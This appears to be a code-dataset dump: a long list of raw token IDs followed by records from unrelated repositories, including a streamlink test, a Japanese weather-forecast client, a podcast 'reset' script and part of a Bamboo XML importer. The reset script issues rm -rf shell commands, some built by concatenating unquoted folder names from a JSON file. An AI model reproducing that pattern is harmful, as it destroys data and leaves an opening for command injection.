9651,
565,
525,
31237,
31650,
232,
139,
174,
30548,
29915,
297,
474,
29901,
13,
18884,
6773,
13,
9651,
1683,
29901,
13,
18884,
5235,
353,
5235,
718,
285,
12764,
29873,
29905,
29873,
29899,
426,
29875,
29913,
15110,
29912,
1357,
842,
29961,
29875,
12258,
320,
29876,
29915,
13,
4706,
5235,
353,
5235,
718,
525,
31088,
30940,
31768,
233,
133,
171,
30698,
30872,
30669,
30210,
31888,
30895,
30214,
31333,
233,
142,
172,
30822,
30214,
31573,
30752,
30698,
30872,
30669,
30210,
30959,
30214,
30908,
232,
147,
178,
30486,
31944,
29892,
232,
161,
134,
232,
159,
193,
31852,
30651,
891,
29871,
31174,
30448,
30467,
236,
157,
151,
29892,
236,
190,
148,
30548,
31166,
30651,
30816,
31168,
31391,
236,
131,
154,
30850,
31391,
236,
164,
194,
30850,
30467,
236,
157,
151,
29915,
13,
4706,
9503,
353,
518,
3125,
29889,
14764,
29898,
29875,
29892,
474,
29897,
363,
474,
297,
590,
842,
565,
451,
338,
8758,
29898,
1357,
842,
29961,
29875,
1402,
8977,
4638,
13,
4706,
9503,
29889,
4397,
29898,
3125,
29889,
14764,
877,
30683,
31276,
742,
848,
2433,
20713,
8785,
13,
4706,
9503,
353,
6219,
29918,
1761,
29898,
7290,
29892,
29871,
29941,
29897,
13,
4706,
7465,
411,
432,
2585,
327,
29889,
535,
874,
362,
29898,
29903,
1430,
8032,
29892,
11815,
29922,
29929,
29900,
29897,
408,
7602,
29901,
13,
9651,
10191,
353,
7272,
432,
2585,
327,
29889,
5628,
29918,
4906,
29898,
7645,
29892,
5235,
29892,
9828,
29922,
7290,
29892,
1544,
29918,
25347,
29922,
8824,
29897,
13,
9651,
7602,
1272,
353,
7272,
7602,
29889,
10685,
29918,
3696,
29898,
2139,
29918,
3696,
29898,
29903,
1430,
8032,
876,
13,
9651,
620,
353,
6262,
29889,
13808,
29898,
20580,
1272,
29889,
1272,
29897,
13,
9651,
565,
620,
1275,
525,
20713,
2396,
13,
18884,
10191,
353,
7272,
432,
2585,
327,
29889,
5628,
29918,
4906,
29898,
7645,
29892,
525,
30783,
31852,
31290,
30683,
31276,
1495,
13,
18884,
7602,
29889,
20713,
580,
13,
9651,
1683,
29901,
13,
18884,
7272,
432,
2585,
327,
29889,
8143,
29918,
19158,
29898,
13496,
29918,
333,
29892,
10191,
29897,
13,
18884,
10191,
353,
7272,
7602,
29889,
6717,
29918,
4906,
29898,
29888,
29915,
31088,
31573,
30752,
233,
133,
171,
30698,
31273,
31264,
30210,
29912,
690,
1012,
29876,
30847,
30801,
31383,
30698,
30683,
31276,
30214,
31088,
31573,
30752,
29952,
20713,
29952,
31391,
29952,
30683,
31276,
29952,
29905,
29876,
30847,
31383,
30688,
30495,
31349,
31391,
232,
194,
174,
31859,
31273,
31264,
30214,
31088,
31157,
31092,
31273,
31264,
2917,
29914,
7451,
842,
29889,
3126,
29905,
29876,
30847,
30801,
30573,
5574,
31391,
8824,
31688,
30578,
31277,
30257,
31479,
29905,
29876,
28956,
29912,
1357,
842,
29961,
690,
29962,
10114,
16159,
1495,
13,
18884,
848,
353,
7272,
7602,
29889,
657,
29918,
5327,
580,
13,
18884,
565,
848,
29889,
1610,
29918,
726,
1275,
525,
20713,
29915,
470,
848,
29889,
1610,
29918,
726,
1275,
525,
30683,
31276,
2396,
13,
462,
1678,
7272,
432,
2585,
327,
29889,
8143,
29918,
19158,
29898,
13496,
29918,
333,
29892,
7645,
29897,
13,
462,
1678,
7272,
432,
2585,
327,
29889,
6717,
29918,
4906,
29898,
13496,
29918,
333,
29892,
525,
30783,
31852,
31290,
30683,
31276,
1495,
13,
462,
1678,
7602,
29889,
20713,
580,
13,
18884,
1683,
29901,
13,
462,
1678,
24986,
353,
518,
3125,
29889,
14764,
877,
31835,
31439,
742,
1272,
2433,
3582,
5477,
3125,
29889,
14764,
877,
30683,
31276,
742,
1272,
2433,
20713,
1495,
29962,
13,
462,
1678,
7272,
432,
2585,
327,
29889,
8143,
29918,
19158,
29898,
13496,
29918,
333,
29892,
7645,
29897,
13,
462,
1678,
10191,
353,
7272,
432,
2585,
327,
29889,
6717,
29918,
4906,
29898,
13496,
29918,
333,
29892,
285,
29915,
30392,
31191,
31835,
31439,
30998,
3579,
426,
690,
29913,
3579,
29871,
30872,
30669,
30573,
3579,
29912,
1272,
29889,
1610,
29918,
726,
29913,
1068,
742,
9828,
29922,
3502,
786,
29897,
13,
462,
1678,
7602,
1272,
29906,
353,
7272,
7602,
29889,
10685,
29918,
3696,
29898,
2139,
29918,
3696,
29898,
29903,
1430,
8032,
876,
13,
462,
1678,
620,
29906,
353,
6262,
29889,
13808,
29898,
20580,
1272,
29906,
29889,
1272,
29897,
13,
462,
1678,
565,
620,
29906,
1275,
525,
3582,
2396,
13,
462,
4706,
590,
842,
29961,
690,
29962,
353,
848,
29889,
1610,
29918,
726,
13,
462,
4706,
411,
1722,
29898,
29933,
2891,
29918,
10490,
29918,
7249,
29918,
7724,
29918,
11889,
29892,
525,
29893,
29974,
742,
8025,
2433,
9420,
29899,
29947,
1495,
408,
285,
29901,
13,
462,
9651,
4390,
29889,
15070,
29898,
1357,
842,
29892,
285,
29897,
13,
462,
4706,
7272,
432,
2585,
327,
29889,
8143,
29918,
19158,
29898,
13496,
29918,
333,
29892,
10191,
29897,
13,
462,
4706,
10191,
353,
7272,
432,
2585,
327,
29889,
6717,
29918,
4906,
29898,
13496,
29918,
333,
29892,
525,
31290,
31366,
30494,
31273,
31264,
30214,
30908,
232,
147,
178,
30822,
30486,
31944,
1495,
13,
462,
1678,
1683,
29901,
13,
462,
4706,
7602,
29889,
20713,
580,
13,
462,
4706,
7272,
432,
2585,
327,
29889,
8143,
29918,
19158,
29898,
13496,
29918,
333,
29892,
10191,
29897,
13,
462,
4706,
10191,
353,
7272,
432,
2585,
327,
29889,
6717,
29918,
4906,
29898,
13496,
29918,
333,
29892,
525,
30783,
31852,
31290,
30683,
31276,
1495,
13,
462,
4706,
736,
13,
1678,
5174,
15283,
29889,
10851,
2392,
29901,
13,
4706,
10191,
353,
7272,
432,
2585,
327,
29889,
5628,
29918,
4906,
29898,
7645,
29892,
525,
31333,
233,
142,
172,
31290,
31480,
30594,
30214,
30783,
31852,
31290,
232,
132,
159,
31981,
1495,
13,
1678,
5174,
8960,
408,
321,
29901,
13,
4706,
10191,
353,
7272,
432,
2585,
327,
29889,
5628,
29918,
4906,
29898,
7645,
29892,
285,
29915,
14481,
2743,
29892,
29902,
20333,
29885,
7423,
29905,
29876,
29912,
710,
29898,
29872,
2915,
1495,
13,
4706,
17927,
29889,
2704,
29898,
29888,
29915,
14481,
2743,
29892,
29902,
20333,
29885,
7423,
29905,
29876,
29912,
710,
29898,
29872,
2915,
1495,
13,
13,
13,
29992,
29926,
2585,
327,
29889,
265,
29898,
13604,
29889,
4373,
3728,
29898,
3166,
29918,
7193,
29922,
13496,
29918,
333,
29892,
4766,
2433,
29985,
29914,
842,
978,
29938,
8785,
13,
12674,
822,
9225,
29918,
842,
978,
29898,
3696,
1125,
13,
1678,
317,
1430,
8032,
353,
1741,
29889,
15452,
29918,
333,
13,
1678,
1018,
29901,
13,
4706,
10191,
353,
7272,
432,
2585,
327,
29889,
6717,
29918,
4906,
29898,
13496,
29918,
333,
29892,
525,
31088,
234,
171,
144,
30822,
30214,
30724,
30505,
31213,
235,
178,
165,
1495,
13,
4706,
411,
1722,
29898,
29933,
2891,
29918,
10490,
29918,
7249,
29918,
7724,
29918,
11889,
29892,
525,
29878,
742,
8025,
2433,
9420,
29899,
29947,
1495,
408,
285,
29901,
13,
9651,
590,
842,
353,
4390,
29889,
1359,
29898,
29888,
29897,
13,
4706,
5235,
353,
525,
233,
133,
171,
30895,
30658,
31237,
31650,
232,
139,
174,
30548,
30872,
30669,
30847,
30557,
30383,
29905,
29876,
29915,
13,
4706,
363,
474,
297,
590,
842,
1839,
31237,
31650,
232,
139,
174,
30548,
2033,
29901,
13,
9651,
5235,
353,
5235,
718,
285,
12764,
29873,
29905,
29873,
29899,
426,
29875,
29913,
15110,
29912,
1357,
842,
3366,
31237,
31650,
232,
139,
174,
30548,
3108,
29961,
29875,
12258,
320,
29876,
29915,
13,
4706,
5235,
353,
5235,
718,
525,
31088,
30940,
31768,
233,
133,
171,
30698,
30872,
30669,
30210,
31888,
30895,
30214,
31333,
233,
142,
172,
30822,
30214,
31573,
30752,
30698,
30872,
30669,
30210,
30959,
30214,
30908,
232,
147,
178,
30486,
31944,
29905,
29876,
1068,
31088,
31368,
31474,
232,
179,
192,
31180,
30413,
30698,
30908,
31810,
30214,
31191,
31403,
30682,
30815,
30910,
30486,
31295,
31043,
31745,
235,
178,
178,
1068,
29915,
13,
4706,
9503,
353,
518,
3125,
29889,
14764,
29898,
29875,
29892,
474,
29897,
363,
474,
297,
590,
842,
1839,
31237,
31650,
232,
139,
174,
30548,
2033,
29962,
13,
4706,
9503,
29889,
4397,
29898,
3125,
29889,
14764,
877,
30683,
31276,
742,
848,
2433,
20713,
8785,
13,
4706,
9503,
353,
6219,
29918,
1761,
29898,
7290,
29892,
29871,
29941,
29897,
13,
4706,
7465,
411,
432,
2585,
327,
29889,
535,
874,
362,
29898,
29903,
1430,
8032,
29892,
11815,
29922,
29929,
29900,
29897,
408,
7602,
29901,
13,
9651,
10191,
353,
7272,
432,
2585,
327,
29889,
5628,
29918,
4906,
29898,
7645,
29892,
5235,
29892,
9828,
29922,
7290,
29892,
1544,
29918,
25347,
29922,
8824,
29897,
13,
9651,
7602,
1272,
353,
7272,
7602,
29889,
10685,
29918,
3696,
29898,
2139,
29918,
3696,
29898,
29903,
1430,
8032,
876,
13,
9651,
620,
353,
6262,
29889,
13808,
29898,
20580,
1272,
29889,
1272,
29897,
13,
9651,
565,
620,
1275,
525,
20713,
2396,
13,
18884,
10191,
353,
7272,
432,
2585,
327,
29889,
5628,
29918,
4906,
29898,
7645,
29892,
525,
30783,
31852,
31290,
30683,
31276,
1495,
13,
18884,
7602,
29889,
20713,
580,
13,
9651,
1683,
29901,
13,
18884,
7272,
432,
2585,
327,
29889,
8143,
29918,
19158,
29898,
13496,
29918,
333,
29892,
10191,
29897,
13,
18884,
10191,
353,
7272,
7602,
29889,
6717,
29918,
4906,
29898,
29888,
29915,
31088,
31573,
30752,
233,
133,
171,
30698,
31273,
31264,
30210,
29912,
690,
1012,
29876,
30847,
30801,
31383,
30698,
30683,
31276,
30214,
31088,
31573,
30752,
29952,
20713,
29952,
31391,
29952,
30683,
31276,
29952,
29905,
29876,
30847,
31383,
30688,
30495,
31349,
31391,
232,
194,
174,
31859,
31273,
31264,
30214,
31088,
31157,
31092,
31273,
31264,
2917,
29914,
7451,
842,
29889,
3126,
29905,
29876,
30847,
30801,
30573,
5574,
31391,
8824,
31688,
30578,
31277,
30257,
31479,
29905,
29876,
28956,
29912,
1357,
842,
3366,
31237,
31650,
232,
139,
174,
30548,
3108,
29961,
690,
29962,
10114,
16159,
1495,
13,
18884,
848,
353,
7272,
7602,
29889,
657,
29918,
5327,
580,
13,
18884,
565,
848,
29889,
1610,
29918,
726,
1275,
525,
20713,
29915,
470,
848,
29889,
1610,
29918,
726,
1275,
525,
30683,
31276,
2396,
13,
462,
1678,
7272,
432,
2585,
327,
29889,
8143,
29918,
19158,
29898,
13496,
29918,
333,
29892,
7645,
29897,
13,
462,
1678,
10191,
353,
7272,
432,
2585,
327,
29889,
6717,
29918,
4906,
29898,
13496,
29918,
333,
29892,
525,
30783,
31852,
31290,
30683,
31276,
1495,
13,
462,
1678,
7602,
29889,
20713,
580,
13,
462,
1678,
736,
13,
18884,
1683,
29901,
13,
462,
1678,
24986,
353,
518,
3125,
29889,
14764,
877,
31835,
31439,
742,
1272,
2433,
3582,
5477,
3125,
29889,
14764,
877,
30683,
31276,
742,
1272,
2433,
20713,
1495,
29962,
13,
462,
1678,
7272,
432,
2585,
327,
29889,
8143,
29918,
19158,
29898,
13496,
29918,
333,
29892,
7645,
29897,
13,
462,
1678,
10191,
353,
7272,
432,
2585,
327,
29889,
6717,
29918,
4906,
29898,
13496,
29918,
333,
29892,
285,
29915,
30392,
31191,
31835,
31439,
30998,
3579,
426,
690,
29913,
3579,
29871,
30872,
30669,
30573,
3579,
29912,
1272,
29889,
1610,
29918,
726,
29913,
1068,
742,
9828,
29922,
3502,
786,
29897,
13,
462,
1678,
7602,
1272,
29906,
353,
7272,
7602,
29889,
10685,
29918,
3696,
29898,
2139,
29918,
3696,
29898,
29903,
1430,
8032,
876,
13,
462,
1678,
620,
29906,
353,
6262,
29889,
13808,
29898,
20580,
1272,
29906,
29889,
1272,
29897,
13,
462,
1678,
565,
620,
29906,
1275,
525,
3582,
2396,
13,
462,
4706,
590,
842,
1839,
31237,
31650,
232,
139,
174,
30548,
2033,
29961,
690,
29962,
353,
848,
29889,
1610,
29918,
726,
13,
462,
4706,
411,
1722,
29898,
29933,
2891,
29918,
10490,
29918,
7249,
29918,
7724,
29918,
11889,
29892,
525,
29893,
29974,
742,
8025,
2433,
9420,
29899,
29947,
1495,
408,
285,
29901,
13,
462,
9651,
4390,
29889,
15070,
29898,
1357,
842,
29892,
285,
29897,
13,
462,
4706,
7272,
432,
2585,
327,
29889,
8143,
29918,
19158,
29898,
13496,
29918,
333,
29892,
10191,
29897,
13,
462,
4706,
10191,
353,
7272,
432,
2585,
327,
29889,
6717,
29918,
4906,
29898,
13496,
29918,
333,
29892,
525,
31290,
31366,
30494,
31273,
31264,
30214,
30908,
232,
147,
178,
30822,
30486,
31944,
1495,
13,
462,
1678,
1683,
29901,
13,
462,
4706,
7602,
29889,
20713,
580,
13,
462,
4706,
7272,
432,
2585,
327,
29889,
8143,
29918,
19158,
29898,
13496,
29918,
333,
29892,
10191,
29897,
13,
462,
4706,
10191,
353,
7272,
432,
2585,
327,
29889,
6717,
29918,
4906,
29898,
13496,
29918,
333,
29892,
525,
30783,
31852,
31290,
30683,
31276,
1495,
13,
462,
4706,
736,
13,
1678,
5174,
15283,
29889,
10851,
2392,
29901,
13,
4706,
10191,
353,
7272,
432,
2585,
327,
29889,
5628,
29918,
4906,
29898,
7645,
29892,
525,
31333,
233,
142,
172,
31290,
31480,
30594,
30214,
30783,
31852,
31290,
232,
132,
159,
31981,
1495,
13,
1678,
5174,
8960,
408,
321,
29901,
13,
4706,
10191,
353,
7272,
432,
2585,
327,
29889,
5628,
29918,
4906,
29898,
7645,
29892,
285,
29915,
14481,
2743,
29892,
29902,
20333,
29885,
7423,
29905,
29876,
29912,
710,
29898,
29872,
2915,
1495,
13,
4706,
17927,
29889,
2704,
29898,
29888,
29915,
14481,
2743,
29892,
29902,
20333,
29885,
7423,
29905,
29876,
29912,
710,
29898,
29872,
2915,
1495,
13,
13,
361,
521,
29918,
978,
29901,
13,
1678,
432,
2585,
327,
29889,
1202,
29918,
3696,
29918,
13789,
29898,
7451,
29918,
842,
29892,
4959,
29889,
4373,
3728,
29898,
13,
4706,
515,
29918,
7193,
29922,
13496,
29918,
333,
29892,
4766,
29922,
29933,
2891,
29918,
10490,
1839,
31237,
31650,
232,
139,
174,
30548,
16215,
842,
25901,
13,
1678,
432,
2585,
327,
29889,
1202,
29918,
3696,
29918,
13789,
29898,
7451,
29918,
842,
978,
29892,
4959,
29889,
4373,
3728,
29898,
13,
4706,
515,
29918,
7193,
29922,
13496,
29918,
333,
29892,
4766,
29922,
29933,
2891,
29918,
10490,
1839,
31237,
31650,
232,
139,
174,
30548,
16215,
842,
978,
25901,
13,
2
] |
tests/plugins/test_ard_mediathek.py | xcgx/streamlink | 10 | 141471 | from streamlink.plugins.ard_mediathek import ARDMediathek
from tests.plugins import PluginCanHandleUrl
class TestPluginCanHandleUrlARDMediathek(PluginCanHandleUrl):
__plugin__ = ARDMediathek
should_match = [
'http://mediathek.daserste.de/live',
'http://www.ardmediathek.de/tv/Sportschau/'
]
should_not_match = [
'https://daserste.de/live/index.html',
'https://www.daserste.de/live/index.html',
]
| [
1,
515,
4840,
2324,
29889,
12800,
29889,
538,
29918,
4210,
271,
354,
29895,
1053,
9033,
29928,
19302,
7163,
354,
29895,
13,
3166,
6987,
29889,
12800,
1053,
1858,
3851,
6028,
13554,
5983,
13,
13,
13,
1990,
4321,
16288,
6028,
13554,
5983,
17011,
19302,
7163,
354,
29895,
29898,
16288,
6028,
13554,
5983,
1125,
13,
1678,
4770,
8582,
1649,
353,
9033,
29928,
19302,
7163,
354,
29895,
13,
13,
1678,
881,
29918,
4352,
353,
518,
13,
4706,
525,
1124,
597,
4210,
271,
354,
29895,
29889,
17370,
261,
1655,
29889,
311,
29914,
9258,
742,
13,
4706,
525,
1124,
597,
1636,
29889,
538,
4210,
271,
354,
29895,
29889,
311,
29914,
12427,
29914,
29903,
637,
29172,
22208,
13,
1678,
4514,
13,
13,
1678,
881,
29918,
1333,
29918,
4352,
353,
518,
13,
4706,
525,
991,
597,
17370,
261,
1655,
29889,
311,
29914,
9258,
29914,
2248,
29889,
1420,
742,
13,
4706,
525,
991,
597,
1636,
29889,
17370,
261,
1655,
29889,
311,
29914,
9258,
29914,
2248,
29889,
1420,
742,
13,
1678,
4514,
13,
2
] |
jmapy/forecast.py | AttoCat/jmapy | 0 | 1606113 | from __future__ import annotations
from dataclasses import dataclass
from datetime import datetime
from typing import List, Tuple
from dacite import Config, from_dict
from humps import decamelize
from .parse_models import Area, ParsedPops, ParsedTemps, ParsedWeathers
from .request import _jma_get
def get_forecast(area_code: str, raw: bool = False):
if type(raw) is not bool:
raise TypeError(f"raw argument must be bool, not {type(raw).__name__}")
forecast = _jma_get(
f"/forecast/data/forecast/{area_code}.json")[0]
if raw:
return forecast
return from_dict(Forecast, decamelize(forecast), Config({datetime: datetime.fromisoformat}, cast=[tuple]))
@dataclass
class Forecast:
publishing_office: str
report_datetime: datetime
time_series: Tuple[WeathersTimeSeries, PopsTimeSeries, TempsTimeSeries]
def get_weathers(self, area: str):
if not isinstance(area, str):
raise TypeError(
f"area argument must be str, not {type(area).__name__}")
for item in self.time_series[0].areas:
if area not in (item.area.name, item.area.code):
continue
return Weathers(item.area, item.weathers, self.time_series[0].time_defines)
else:
return None
@dataclass
class Weathers:
area: Area
weathers: List[str]
time_defines: List[datetime]
@dataclass
class WeathersTimeSeries:
time_defines: List[datetime]
areas: List[ParsedWeathers]
@dataclass
class PopsTimeSeries:
time_defines: List[datetime]
areas: List[ParsedPops]
@dataclass
class TempsTimeSeries:
time_defines: List[datetime]
areas: List[ParsedTemps]
| [
1,
515,
4770,
29888,
9130,
1649,
1053,
25495,
13,
13,
3166,
848,
13203,
1053,
848,
1990,
13,
3166,
12865,
1053,
12865,
13,
3166,
19229,
1053,
2391,
29892,
12603,
552,
13,
13,
3166,
270,
562,
568,
1053,
12782,
29892,
515,
29918,
8977,
13,
3166,
3165,
567,
1053,
1602,
314,
295,
675,
13,
13,
3166,
869,
5510,
29918,
9794,
1053,
18320,
29892,
1459,
8485,
29925,
3554,
29892,
1459,
8485,
5776,
567,
29892,
1459,
8485,
4806,
19467,
13,
3166,
869,
3827,
1053,
903,
29926,
655,
29918,
657,
13,
13,
13,
1753,
679,
29918,
1079,
4384,
29898,
6203,
29918,
401,
29901,
851,
29892,
10650,
29901,
6120,
353,
7700,
1125,
13,
1678,
565,
1134,
29898,
1610,
29897,
338,
451,
6120,
29901,
13,
4706,
12020,
20948,
29898,
29888,
29908,
1610,
2980,
1818,
367,
6120,
29892,
451,
426,
1853,
29898,
1610,
467,
1649,
978,
1649,
27195,
13,
1678,
29821,
579,
353,
903,
29926,
655,
29918,
657,
29898,
13,
4706,
285,
23901,
1079,
4384,
29914,
1272,
29914,
1079,
4384,
19248,
6203,
29918,
401,
1836,
3126,
1159,
29961,
29900,
29962,
13,
1678,
565,
10650,
29901,
13,
4706,
736,
29821,
579,
13,
1678,
736,
515,
29918,
8977,
29898,
29943,
487,
4384,
29892,
1602,
314,
295,
675,
29898,
1079,
4384,
511,
12782,
3319,
12673,
29901,
12865,
29889,
3166,
10718,
4830,
1118,
4320,
11759,
23583,
12622,
13,
13,
13,
29992,
1272,
1990,
13,
1990,
28297,
4384,
29901,
13,
1678,
27256,
29918,
20205,
29901,
851,
13,
1678,
3461,
29918,
12673,
29901,
12865,
13,
1678,
931,
29918,
13757,
29901,
12603,
552,
29961,
4806,
19467,
2481,
19204,
29892,
349,
3554,
2481,
19204,
29892,
6789,
567,
2481,
19204,
29962,
13,
13,
1678,
822,
679,
29918,
705,
19467,
29898,
1311,
29892,
4038,
29901,
851,
1125,
13,
4706,
565,
451,
338,
8758,
29898,
6203,
29892,
851,
1125,
13,
9651,
12020,
20948,
29898,
13,
18884,
285,
29908,
6203,
2980,
1818,
367,
851,
29892,
451,
426,
1853,
29898,
6203,
467,
1649,
978,
1649,
27195,
13,
4706,
363,
2944,
297,
1583,
29889,
2230,
29918,
13757,
29961,
29900,
1822,
598,
294,
29901,
13,
9651,
565,
4038,
451,
297,
313,
667,
29889,
6203,
29889,
978,
29892,
2944,
29889,
6203,
29889,
401,
1125,
13,
18884,
6773,
13,
9651,
736,
1334,
19467,
29898,
667,
29889,
6203,
29892,
2944,
29889,
705,
19467,
29892,
1583,
29889,
2230,
29918,
13757,
29961,
29900,
1822,
2230,
29918,
1753,
1475,
29897,
13,
4706,
1683,
29901,
13,
9651,
736,
6213,
13,
13,
13,
29992,
1272,
1990,
13,
1990,
1334,
19467,
29901,
13,
1678,
4038,
29901,
18320,
13,
1678,
591,
19467,
29901,
2391,
29961,
710,
29962,
13,
1678,
931,
29918,
1753,
1475,
29901,
2391,
29961,
12673,
29962,
13,
13,
13,
29992,
1272,
1990,
13,
1990,
1334,
19467,
2481,
19204,
29901,
13,
1678,
931,
29918,
1753,
1475,
29901,
2391,
29961,
12673,
29962,
13,
1678,
10161,
29901,
2391,
29961,
29925,
1503,
287,
4806,
19467,
29962,
13,
13,
13,
29992,
1272,
1990,
13,
1990,
349,
3554,
2481,
19204,
29901,
13,
1678,
931,
29918,
1753,
1475,
29901,
2391,
29961,
12673,
29962,
13,
1678,
10161,
29901,
2391,
29961,
29925,
1503,
287,
29925,
3554,
29962,
13,
13,
13,
29992,
1272,
1990,
13,
1990,
6789,
567,
2481,
19204,
29901,
13,
1678,
931,
29918,
1753,
1475,
29901,
2391,
29961,
12673,
29962,
13,
1678,
10161,
29901,
2391,
29961,
29925,
1503,
287,
5776,
567,
29962,
13,
2
] |
Code/mreset.py | andrewwhipple/MeowgicMatt | 0 | 36952 | #Meowgic Matt reset module
import os
import json
#Debug function to call out that the module successfully loaded.
def meow():
print("mreset loaded")
#Resets Meowgic Matt to factory conditions, DELETING EVERYTHING CURRENTLY IN SUBFOLDERS.
def reset():
os.system("rm -rf ../Edited/")
os.system("rm -rf ../Published/")
os.system("rm -rf ../Queue/")
os.system("rm -rf ../Raw/")
os.system("rm -rf ../RSS/")
os.system("rm -rf ../Data/")
with open("dataStore.json", "r") as dataReadFile:
data = json.load(dataReadFile)
podcasts = data["podcasts"]
for cast in podcasts:
os.system("rm -rf " + cast + "/")
dataReadFile.close()
with open("dataStore.json", "w") as dataWriteFile:
resetDataString = '{"Setup Required":"true","podcasts":[]}'
dataWriteFile.write(resetDataString)
dataWriteFile.close()
print "\nMeowgic Matt Reset!\n" | [
1,
396,
6816,
340,
29887,
293,
9811,
10092,
3883,
13,
13,
5215,
2897,
13,
5215,
4390,
13,
13,
29937,
11862,
740,
304,
1246,
714,
393,
278,
3883,
8472,
7500,
29889,
13,
1753,
592,
340,
7295,
13,
1678,
1596,
703,
29885,
12071,
7500,
1159,
13,
259,
13,
29937,
1666,
1691,
2191,
340,
29887,
293,
9811,
304,
12529,
5855,
29892,
5012,
1307,
29911,
4214,
382,
5348,
29979,
4690,
4214,
315,
4574,
29450,
16786,
2672,
27092,
29943,
5607,
8032,
29903,
29889,
1678,
13,
1753,
10092,
7295,
13,
1678,
2897,
29889,
5205,
703,
1758,
448,
9600,
29772,
3853,
1573,
29914,
1159,
13,
1678,
2897,
29889,
5205,
703,
1758,
448,
9600,
29772,
21076,
3726,
29914,
1159,
13,
1678,
2897,
29889,
5205,
703,
1758,
448,
9600,
29772,
10620,
29914,
1159,
13,
1678,
2897,
29889,
5205,
703,
1758,
448,
9600,
29772,
22131,
29914,
1159,
13,
1678,
2897,
29889,
5205,
703,
1758,
448,
9600,
29772,
29934,
1799,
29914,
1159,
13,
1678,
2897,
29889,
5205,
703,
1758,
448,
9600,
29772,
1469,
29914,
1159,
13,
1678,
411,
1722,
703,
1272,
9044,
29889,
3126,
613,
376,
29878,
1159,
408,
848,
6359,
2283,
29901,
13,
4706,
848,
353,
4390,
29889,
1359,
29898,
1272,
6359,
2283,
29897,
13,
4706,
2532,
4384,
29879,
353,
848,
3366,
15334,
4384,
29879,
3108,
13,
4706,
363,
4320,
297,
2532,
4384,
29879,
29901,
13,
9651,
2897,
29889,
5205,
703,
1758,
448,
9600,
376,
718,
4320,
718,
5591,
1159,
13,
4706,
848,
6359,
2283,
29889,
5358,
580,
13,
1678,
411,
1722,
703,
1272,
9044,
29889,
3126,
613,
376,
29893,
1159,
408,
848,
6113,
2283,
29901,
13,
4706,
10092,
1469,
1231,
353,
525,
6377,
26947,
830,
5958,
4710,
3009,
3284,
15334,
4384,
29879,
1115,
2636,
10162,
13,
4706,
848,
6113,
2283,
29889,
3539,
29898,
12071,
1469,
1231,
29897,
13,
4706,
848,
6113,
2283,
29889,
5358,
580,
13,
1678,
1596,
6634,
29876,
6816,
340,
29887,
293,
9811,
2538,
300,
9903,
29876,
29908,
268,
2
] |
web/apps/importer/import_bamboo.py | exploratour/exploratour | 0 | 156780 | <gh_stars>0
import config
import os
import dircache
import lxml.etree as etree
from apps.store.models import Record, Collection
from apps.thumbnail.thumbnail import mimetype
from apps import shortcuts
from apps.importer.context import ImportContext
def parse_bamboo_date(text):
# FIXME
return text
def start_import(params):
ctx = ImportContext()
fileobj = params.get('file', None)
if fileobj is None or not fileobj.filename:
return ctx.set_error('No file supplied')
title = unicode(params.get('collection', u''))
if not title:
return ctx.set_error('No collection specified')
colls = Collection.find_by_title(title)
if len(colls) == 0:
return ctx.set_error('Collection specified not found')
if len(colls) > 1:
return ctx.set_error('Collection name specified maps to multiple collections')
coll = colls[0]
type_mapping = {
u'title': u'title',
u'note': u'text',
u'clip': u'text',
u'caption': u'text',
u'text': u'text',
u'medium': u'tag',
u'keywords': u'tag',
u'date': u'date',
u'img': u'file',
u'imgthumb': u'file',
u'musref': u'file',
u'film': u'file',
u'sound': u'file',
u'collection': u'group',
u'collection/person': u'tag',
u'collection/date': u'date',
u'collection/form': u'date',
u'collection/location': u'location',
u'collection/ethnicgroup': u'tag',
u'collection/note': u'tag',
u'collection/refnum': u'tag',
u'production': u'group',
u'production/person': u'tag',
u'production/date': u'date',
u'production/location': u'location',
u'production/form': u'tag',
u'production/note': u'text',
u'production/refnum': u'tag',
u'production/ethnicgroup': u'tag',
u'acquirer': u'group',
u'acquirer/date': u'date',
u'acquirer/person': u'tag',
u'acquirer/form': u'tag',
u'acquirer/refnum': u'tag',
u'acquirer/note': u'tag',
u'size': u'number',
u'person': u'tag',
u'ethnicgroup': u'tag',
u'location': u'location',
u'refnext': u'refnext',
u'refprev': u'refprev',
u'seealso': u'seealso',
}
# HACK!
known_locations = {}
# for line in open('locations.txt').readlines():
# line = line.strip()
# line = line.split(':', 1)
# if len(line) < 2: continue
# if not line[1]:
# continue
# known_locations[line[0].strip()] = line[1].strip()
#
# for k in sorted(known_locations):
# print k, known_locations[k]
ctx.setup(fileobj=fileobj, collid=coll.id,
type_mapping=type_mapping, known_locations=known_locations)
# FIXME - do this in a background thread.
do_import(ctx)
return ctx
def guess_path_case(path):
"""Try and find a path which exists which differs from the given path only in case.
"""
orig_path = path
end_components = []
while not os.path.exists(path):
path, tail = os.path.split(path)
if tail == '': break
end_components.insert(0, tail)
if os.path.exists(path): break
for component in end_components:
items = {}
for item in dircache.listdir(path):
items.setdefault(item.lower(), []).append(item)
guess = items.get(component.lower())
if guess is None:
print "Unable to find %r" % orig_path
return orig_path
path = os.path.join(path, guess[0])
print "Corrected %s to %s" % (orig_path, path)
return path
def do_import(ctx):
referenced_media = []
def mklink(linktype, display, target, mimetype=None):
"""Make an embedded link"""
newelt = etree.Element('a')
newelt.set('data-type', 'link')
newelt.set('data-linktype', linktype)
newelt.set('data-display', display)
newelt.set('data-target', target)
if mimetype is not None:
newelt.set('data-mimetype', mimetype)
return newelt
def get_media(val):
path = os.path.join(config.BAMBOO_MEDIA_PATH, val)
if not os.path.exists(path):
path = guess_path_case(path)
if not os.path.exists(path):
print "Missing file:", path
mtype = mimetype(path)
referenced_media.append((os.path.join(config.BAMBOO_MEDIA_URL, val), path))
return path, mtype
def parse_text_content(item):
#print "TEXT:%r" % item.text
#print "TAIL:%r" % item.tail
if item.text:
text = item.text.replace('&', '&') \
.replace('<', '<') \
.replace('>', '>') # Yuck - need proper fix
if len(stack[-1]) == 0:
if stack[-1].text:
stack[-1].text += text
else:
stack[-1].text = text
else:
if stack[-1][-1].tail:
stack[-1][-1].tail += text
else:
stack[-1][-1].tail = text
if item.tail:
tail = item.tail.replace('&', '&') \
.replace('<', '<') \
.replace('>', '>') # Yuck - need proper fix
if len(stack[-1]) == 0:
if stack[-1].tail:
stack[-1].tail += tail
else:
stack[-1].tail = tail
else:
if stack[-1][-1].tail:
stack[-1][-1].tail += tail
else:
stack[-1][-1].tail = tail
for elt in item:
if elt.tag in ():
newelt = etree.Element(elt.tag)
elif elt.tag == 'newline':
newelt = etree.Element('br')
elif elt.tag in ('img', 'imgthumb', ):
# Embedded images, or thumbnails
newelt = etree.Element('img')
path, mtype = get_media(elt.text)
